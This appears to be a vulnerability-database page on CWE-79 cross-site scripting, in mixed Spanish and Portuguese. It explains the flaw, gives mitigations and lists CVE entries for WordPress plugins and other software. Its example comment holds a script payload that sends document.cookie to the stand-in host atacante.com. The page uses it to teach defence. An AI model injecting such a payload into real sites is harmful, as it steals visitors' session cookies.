Fallos del tipo CWE-79

30.601 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-115955MEDIUMWordPress Advanced Post Block - Post Grid for WordPress block editor plugin <= 2.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-122673MEDIUMWordPress ShopEngine plugin <= 4.9.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-114708MEDIUMWordPress JetSmartFilters plugin <= 3.8.6.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-69350MEDIUMWordPress Accordion plugin <= 3.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-48195MEDIUMWordPress PDF Poster plugin <= 2.6.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-115961MEDIUMWordPress B Slider plugin <= 2.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-116408MEDIUMWordPress Gallery PhotoBlocks plugin <= 1.3.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-115956MEDIUMWordPress Panorama Viewer – 360 Degree Image + Video Viewer plugin <= 1.8.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-66675MEDIUMWordPress Motors plugin <= 1.4.128 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-112845MEDIUMWordPress Off-Canvas Sidebars & Menus (Slidebars) plugin <= 0.5.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-28357MEDIUMNocoDB: Stored Cross-Site Scripting via Formula CellEPSS 0.2%CVE-2026-31823MEDIUMSylius has Authenticated Stored XSSEPSS 0.2%CVE-2026-116395MEDIUMWordPress LightBox Block plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-59328MEDIUMCross-Site Scripting in Eclipse Spring Boot Starter Wizard Dependency TooltipsEPSS 0.2%CVE-2026-114188MEDIUMWordPress AnyWhere Elementor plugin <= 1.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-114700MEDIUMWordPress Restaurant Menu – Food Ordering System – Table Reservation plugin <= 2.4.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-24632MEDIUMWordPress Delay Redirects plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-45668CRITICALTrilium Notes : Note Import to RCE via #docName Path Traversal (Safe Import Enabled)EPSS 0.2%CVE-2025-56289MEDIUMcode-projects Document Management System 1.0 has a Cross Site Scripting (XSS) vulnerability, where attackers can leak admin's cookie informaEPSS 0.2%CVE-2025-64380MEDIUMWordPress Booster for WooCommerce plugin <= 7.3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%